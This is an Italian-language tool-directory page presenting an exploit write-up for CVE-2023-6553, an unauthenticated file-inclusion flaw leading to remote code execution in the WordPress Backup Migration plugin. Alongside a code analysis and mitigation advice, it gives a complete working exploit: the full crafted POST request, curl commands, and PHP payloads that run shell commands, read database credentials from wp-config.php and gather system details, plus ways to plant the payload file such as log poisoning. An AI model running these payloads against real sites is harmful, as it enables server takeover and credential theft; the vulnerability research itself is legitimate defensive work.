Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/dungsocool/cve-2023-6553
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

Exploit proof-of-concept e analisi tecnica per CVE-2023-6553, una vulnerabilità di inclusione di file PHP non autenticata che consente l'esecuzione remota di codice nel plugin WordPress Backup Migration <=1.3.7.

Vedi Repository
16 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-6553

Inclusione di file PHP che porta a RCE — Plugin Backup Migration

Plugin: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (Critico)

CWE: CWE-98 — Controllo improprio del nome file per l'istruzione Include/Require

Requisito di autenticazione: Nessuno

Impatto: Esecuzione di codice in remoto


1. Cos'è questa vulnerabilità?

Backup Migration è un plugin WordPress abbastanza popolare (~90.000+ installazioni attive) che aiuta gli utenti a creare copie di backup. Durante il processo di backup, il plugin ha un file chiamato backup-heart.php che viene eseguito in background: riceve le informazioni di configurazione tramite gli header HTTP per sapere quale directory deve essere sottoposta a backup, dove si trova il file di configurazione, ecc.

Il problema sta nel fatto che questo file si fida completamente degli header HTTP inviati dal client, prende il valore dell'header e lo inserisce direttamente nel percorso del file, quindi usa require_once() per caricare il file da quel percorso. Un attaccante deve solo inviare l'header Content-Dir che punta a una directory contenente codice PHP dannoso → il server lo include ed esegue automaticamente.

È importante notare che il file backup-heart.php non richiede autenticazione — controlla solo se il metodo della richiesta è POST, senza verificare alcun nonce o privilegi utente. Chiunque su Internet può inviargli una richiesta.

⇒ Questa è una vulnerabilità zero-click.

2. Conoscenze di base

Inclusione di file in PHP

PHP ha funzioni come include(), require(), require_once() usate per includere altri file PHP nel programma in esecuzione. Quando il percorso del file passato a queste funzioni proviene dall'input utente senza validazione, un attaccante può costringere il server a includere qualsiasi file desideri:

  • LFI (Local File Inclusion): carica un file esistente sul server — ad esempio, un file di log che è stato "avvelenato" con codice PHP.
  • RFI (Remote File Inclusion): carica un file da un server esterno — richiede allow_url_include=On (di solito disabilitato per impostazione predefinita).

Questa CVE rientra nella categoria LFI — l'attaccante controlla il percorso passato a require_once() che punta a un file PHP che l'attaccante è riuscito a scrivere sul server.

Perché gli header HTTP sono pericolosi?

Molti sviluppatori pensano che gli header HTTP siano metadati "interni" noti solo al server e al client. In realtà, gli attaccanti controllano il 100% del contenuto degli header — possono impostare qualsiasi nome e valore di header. Fidarsi degli header è come fidarsi dell'input dei moduli — deve essere validato.

define() e le costanti PHP

define('NAME', $value) crea una costante usata in tutta l'applicazione. Una volta definita, il valore non può essere modificato. Se $value proviene da un attaccante, ogni punto in cui viene usata quella costante è compromesso.

3. Analisi del codice sorgente — Da dove ha origine la vulnerabilità?

Passo 1: Trovare il sink

Ho iniziato usando grep per cercare tutte le istruzioni require e include nel plugin:

root@kitploit:~
grep -rn "require\|include" includes/

image.png

I risultati della ricerca hanno restituito molte chiamate require/include. Esaminandole, la maggior parte erano chiamate include_once in banner/misc.php e banner/views/index.php — appartengono al codice di rendering dell'interfaccia admin con percorsi hardcoded, quindi non sfruttabili.

Tuttavia, 2 righe in backup-heart.php hanno attirato la mia attenzione:

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

La riga 118 usa require_once con la costante BMI_INCLUDES — se questa costante fosse hardcoded, sarebbe sicura. Ma guardando alla riga 64, ho visto che BMI_INCLUDES è costruita da un'altra costante, BMI_ROOT_DIR. Quindi dobbiamo risalire: dove viene assegnato il valore a BMI_ROOT_DIR?

Ho usato di nuovo grep per tracciarla:

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

Risultati:

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

La riga 62 mostra che BMI_ROOT_DIR prende il suo valore da $fields['content-dir']. Questa è una variabile, non un valore fisso — dobbiamo aprire il file e vedere cosa contiene $fields.

Passo 2: Ispezione del codice sorgente — Da dove viene $fields?

Ho aperto backup-heart.php in VS Code alla riga 62:

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

È chiaramente visibile che $fields['content-dir'] finisce direttamente in define(). Ora dobbiamo determinare dove viene assegnata la variabile $fields:

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

A questo punto, la causa principale diventa chiarissima: $fields contiene tutti gli header HTTP recuperati tramite getallheaders() — completamente controllati dal client. Non c'è wp_verify_nonce(), non c'è current_user_can(), nessun controllo del percorso valido — verifica semplicemente il metodo POST e legge gli header direttamente.

Passo 3: Riepilogo del flusso di attacco

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

Riepilogo della causa principale: Header HTTP → define() → require_once(), senza alcun passaggio di validazione in mezzo.

Passo 4: Debug con Xdebug

Ho usato Xdebug + VS Code per confermare visivamente il flusso di attacco. Ho impostato 2 breakpoint alla riga 62 e alla riga 118 in backup-heart.php, poi ho inviato la richiesta exploit usando curl.

Breakpoint 1 — Riga 62:

Il debugger si è fermato proprio su define('BMI_ROOT_DIR', $fields['content-dir']). Espandendo la variabile $fields nel pannello Variables è emerso un array di 22 elementi — contenente tutti gli header HTTP inviati dal client. Nello specifico:

  • content-dir = "/tmp/bmi/" — questo è esattamente il valore inviato tramite header, che viene assegnato direttamente alla costante BMI_ROOT_DIR.
  • content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — tutti controllati dall'attaccante.

Non ci sono passaggi di validazione o filtraggio applicati a content-dir prima di passarlo a define().

image.png

Breakpoint 2 — Riga 118:

Premendo F5, il debugger si è fermato su require_once BMI_INCLUDES . '/bypasser.php'. Osservando lo stato:

  • Pannello Variabili: $fields conserva ancora content-dir = "/tmp/bmi/" — a dimostrazione che il valore non è stato alterato tra la riga 62 e la 118.
  • Pannello Call Stack: mostra {main} backup-heart.php 118:1 — il codice è stato eseguito direttamente dall'inizio del file fino a questo punto, bypassando qualsiasi middleware o controllo di autenticazione.
  • La riga 118 si prepara a includere il file nel percorso /tmp/bmi/includes/bypasser.php — un file il cui contenuto è controllato dall'attaccante.

image.png

I risultati del debug confermano perfettamente il flusso analizzato nel Passo 3: l'header HTTP viaggia da getallheaders() → define() → require_once(), senza validazione in mezzo.

4. Catena di attacco

Passo 1 — Posizionare il file PHP sul server

Prima di attivare l'inclusione, un file PHP deve già esistere sul server di destinazione. Le tecniche comuni includono:

Metodo

Passo 2 — Attivare l'inclusione con 1 richiesta POST

Inviare una richiesta con Content-Dir che punta alla directory contenente il payload. Il server esegue automaticamente require e il file dell'attaccante.

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

Tutti gli header Content-* devono essere forniti perché backup-heart.php li usa in altre chiamate define() — la mancanza di header genera warning PHP e può interrompere l'esecuzione prima di raggiungere require_once.

5. PoC — Sfruttamento in laboratorio

5.1 Verificare se l'endpoint è aperto

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

Restituisce 200 — l'endpoint è aperto e non richiede autenticazione.

image.png

5.2 Creare il file payload

Creare la struttura di directory che corrisponde a ciò che require_once si aspetta di trovare: {Content-Dir}includes/bypasser.php:

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 Inviare l'exploit — RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

Risultato dell'output:

image.png

RCE riuscita — il server esegue il comando id e restituisce l'output.

5.4 Dimostrare l'impatto — Leggere le credenziali del database

Dopo aver confermato la RCE, ho modificato il payload per dimostrare che un attaccante può leggere informazioni sensibili sul server. Modificare il contenuto del file payload per leggere wp-config.php:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

Reinviare la stessa richiesta exploit con curl → l'output restituisce i dettagli di connessione al database:

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

L'attaccante può leggere qualsiasi file a cui www-data ha i permessi di accesso — wp-config.php, /etc/passwd, il codice sorgente di altri plugin — ampliando la superficie di attacco.

image.png

5.5 Raccogliere informazioni di sistema

Modificare ulteriormente il payload per dimostrare che l'attaccante può raccogliere informazioni di sistema del server — favorendo l'escalation dei privilegi o il movimento laterale:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

Inviare l'exploit con curl → output:

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

Da questo output, l'attaccante scopre:

  • Versione del kernel — usata per trovare exploit del kernel per l'escalation dei privilegi a root
  • IP interno 172.18.0.3 — conferma che il server è all'interno di una rete Docker, consentendo il pivot verso altri container (database, cache, ecc.)

6. Gravità dell'impatto

Impatto nel mondo reale

  • 90.000+ siti usano questo plugin.
  • L'attaccante verifica la presenza del plugin con 1 richiesta POST all'endpoint — 200 significa presente, 404 assente.
  • Un plugin disattivato è comunque sfruttabile perché backup-heart.php risiede su disco e può essere raggiunto direttamente via URL.
  • Dopo la RCE, l'attaccante può: estrarre il database, installare backdoor, fare pivot verso altri server nella stessa rete.

7. Mitigazione e rimedio

Cosa dovrebbero fare gli sviluppatori

Non usare gli header HTTP per determinare i percorsi dei file. Usare percorsi relativi derivati da __DIR__:

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

Aggiungere un controllo di autorizzazione — solo l'amministratore di WordPress dovrebbe poter invocare questo endpoint:

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

Cosa dovrebbero fare gli amministratori di WordPress

  1. Aggiornare immediatamente alla versione ≥ 1.3.8.
  2. Se non è in uso, eliminare completamente il plugin — disattivarlo non è sufficiente perché i file rimangono accessibili.
  3. Ispezionare i log di accesso per richieste sospette mirate a backup-heart.php.
  4. Implementare regole WAF che bloccano le richieste POST dirette a /wp-content/plugins/*/includes/*.php.
Scarica lo strumento
AttributoValore
CVE IDCVE-2023-6553
Punteggio CVSS9.8 (Critico)
Pluginbackup-backup (Backup Migration) ≤ 1.3.7
AutenticazioneNon richiesta
Interazione utenteNessuna (zero-click)
CorrettoVersione 1.3.8
Concetto
Log poisoningInviare una richiesta contenente <?php ... ?> dentro lo User-Agent → il codice viene scritto nel log di accesso → includere il file di log
Sessione PHPScrivere codice PHP in un file di sessione situato in /tmp/sess_xxx
Catena di uploadSfruttare la funzione di upload di media/avatar di WordPress per caricare il file
Log degli errori del pluginIl plugin scrive il proprio log degli errori — innescare un errore che contiene codice PHP scrive il codice nel file di log
Metrica CVSSValoreMotivo
Vettore di attaccoReteVia HTTP
Complessità dell'attaccoBassa1 richiesta POST, nessun requisito di tempo o condizioni speciali
Privilegi richiestiNessunoL'endpoint non richiede autenticazione
Interazione utenteNessunaGuidato dall'attaccante, la vittima non richiede interazione
RiservatezzaAltaPuò leggere qualsiasi file: wp-config.php, /etc/passwd, codice sorgente
IntegritàAltaScrittura arbitraria di file, installazione di webshell, modifica del database
DisponibilitàAltaCancellazione di file, terminazione di processi, compromissione totale del server